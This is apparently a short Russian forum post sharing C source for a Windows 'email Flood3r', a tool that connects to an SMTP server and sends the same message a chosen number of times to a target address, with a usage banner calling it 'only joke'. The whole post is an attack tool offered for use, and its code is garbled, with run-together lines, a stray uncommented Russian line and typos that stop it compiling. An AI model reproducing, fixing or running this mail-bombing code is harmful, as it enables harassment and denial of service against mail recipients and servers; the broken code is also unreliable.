Коментариев мало думаю итак понятно
#include <windows.h> #include <winsock.h> #include <stdio.h> #include <conio.h> #pragma comment(lib,"ws2_32.lib") int main(int argc,char* argv[]) { if(argc==5) { Обьявляем переменные. WSADATA wsData; struct hostent *sAddr; struct sockaddr_in Addr; SOCKET cSock; int rConnect,rSend,count; char msg[1024]; int max; //start if(WSAStartup(MAKEWORD(2,0),&wsData)==0) //инициализируем сокеты { sAddr=gethostbyname(argv[1]); if(sAddr!=NULL) { Addr.sin_addr.s_addr=*((unsignedlong*)(sAddr>h_addr)); Addr.sin_family=AF_INET; Addr.sin_port=htons(25); cSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(cSock!=INVALID_SOCKET) { rConnect=connect(cSock,(sockaddr*)&Addr,sizeof(Addr)); if(rConnect!=SOCKET_ERROR) { //RFC SMTP strcpy(msg,"HELO smtp.server.ru\r\n"); strcat(msg,"MAIL FROM:<"); strcat(msg,argv[2]); strcat(msg,">"); strcat(msg,"\r\n"); strcat(msg,"RCPT TO:"); strcat(msg,"<"); strcat(msg,argv[3]); strcat(msg,">"); strcat(msg,"\r\n"); strcat(msg,"DATA\r\n"); strcat(msg,"SUBJECT:LOL\nFLOOD\n"); strcat(msg,"\r\n.\r\n"); max=atoi(argv[4]); for(count=0;count<max;count++) { if(count==0) { printf("Start Flood\nSMTP_SERVER:%s\nMAIL FROM:%s\nMAIL TO:%s\nNumberof letters:%d\n",argv[1],argv[2],argv[3],max); } rSend=send(cSock,msg,strlen(msg),0); if(rSend>0) { printf("Message Number %d was sent\n",count+1); Sleep(1000); } else { printf("Error send message number %d\n",count); break; getch(); } } } else { printf("Connect Error(ERROR CODE:%d)\n",WSAGetLastError()); getch(); } } else { printf("Socket Error(ERROR CODE:%d)",WSAGetLastError()); getch(); } } else { printf("GetHostByNameError(ERROR CODE:%d)\n",WSAGetLastError()); getch(); } } else { printf("WSAStartUp Error(Error Code:%d)\n",WSAGetLastError); getch(); } } else { printf("============USAGE===========\n"); printf("[+]Simple email Flood3r by mark\n"); printf("[+]Flooder.exe 1 2 3 4\n"); printf("[+]1)SMTP server.\n"); printf("[+]2)MAIL FROM:<>.\n"); printf("[+]3)MAIL TO:<>.\n"); printf("[+]4)Numbers of letters.\n"); printf("[+]Example:Flooder.exe <smtp.server.com> <userfrom@mail.ru> <userto@mail.ru> 20.\n"); printf("[+]It is only joke,GOODLUCK.\n"); getch(); } }